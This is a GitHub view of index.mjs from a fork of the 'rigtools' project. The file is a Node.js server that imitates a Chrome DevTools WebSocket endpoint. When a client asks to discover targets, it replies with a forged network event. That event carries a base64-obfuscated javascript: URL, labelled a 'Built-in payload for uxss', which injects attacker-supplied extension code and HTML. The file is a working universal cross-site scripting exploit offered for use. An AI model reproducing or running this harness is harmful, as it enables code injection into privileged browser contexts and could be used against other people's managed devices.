forked from FWSmasher/rigtools
-
Notifications
You must be signed in to change notification settings - Fork 9
/
index.mjs
94 lines (85 loc) · 3.46 KB
/
index.mjs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import { WebSocketServer } from "ws";
import { createServer } from "http";
import finalhandler from "finalhandler";
import serveStatic from "serve-static";
import * as readline from 'readline-sync';
import * as fs from "fs";
import path from "path";
const WebSocket_port = 8080;
const HTTP_port = 9123;
const wss = new WebSocketServer({ port: WebSocket_port });
const serve = serveStatic("./");
console.log("hi", globalThis.module);
createServer((req, res) => {
res.setHeader("Access-Control-Allow-Origin", "*");
serve(req, res, finalhandler(req, res));
}).listen(HTTP_port);
console.log(
`The server is accessible at http://localhost:${HTTP_port}\n--------`,
);
console.log(
`The websocket is accessible at http://localhost:${WebSocket_port}\n--------`,
);
let globalUID = 0;
let sessionId = "89AC63D12B18F3EE9808C13899C9B695";
// console.log(htmlFile);
function requireFromString(s) {
const Module = module.constructor;
var m = new Module();
m._compile(s);
return m.exports;
}
let serverConfig = "{\"updater_url\": \"rigtools.asyncsmasher.com\"}";
try {
serverConfig = fs.readFileSync('server_config.json');
} catch (e) {
console.log(`Using default update url ${JSON.parse(serverConfig).updater_url} because it failed to read the file: \n${e}`);
}
wss.on("connection", function connection(wss_con) {
wss_con.on("message", async (msg) => {
const result = {
payload1: eval(fs.readFileSync('payload.mjs'))
}
let htmlFile = fs.readFileSync(new URL('./payloads/index.html', import.meta.url)).toString();
htmlFile.replace('`', '`');
let jsFile = fs.readFileSync(new URL('./payloads/index.js', import.meta.url)).toString();
// jsFile = jsFile.replace('`', '\\`').replace('\'', '\\\'').replace('"', '\\"');
// console.log(result.payload1.toString());
let json_msg = JSON.parse(msg.toString());
let { id, method, params } = json_msg;
console.log(id + "> ", method, params);
const entry = fs.readFileSync('./entry/entry.html');
if (method === "Target.setDiscoverTargets") {
wss_con.send(
JSON.stringify({
method: "Network.requestWillBeSent",
params: {
request: {
url: `javascript: (function () {eval(atob("${btoa(`(${result.payload1.toString().replace("%%EXTJS%%", btoa(jsFile)).replace("%%EXTHTML%%", btoa(htmlFile)).replace(/%%updaterurl%%/g, JSON.parse(serverConfig).updater_url).replace('%%HTMLENTRY%%', btoa(entry.toString()))})()`)}"))})() /********************************************Built-in payload for uxss*/ `,
},
},
}),
);
// setTimeout(function() {
// wss_con.send(
// JSON.stringify({
// method: "Network.requestWillBeSent",
// params: {
// request: {
// url: `javascript: (function () {eval(atob("${btoa(`(${payload2.toString()})()`)}"))})()`,
// },
// },
// }),
// );
// }, 200);
}
wss_con.send(
JSON.stringify({
id: id,
error: null,
sessionId: sessionId,
result: {},
}),
);
});
});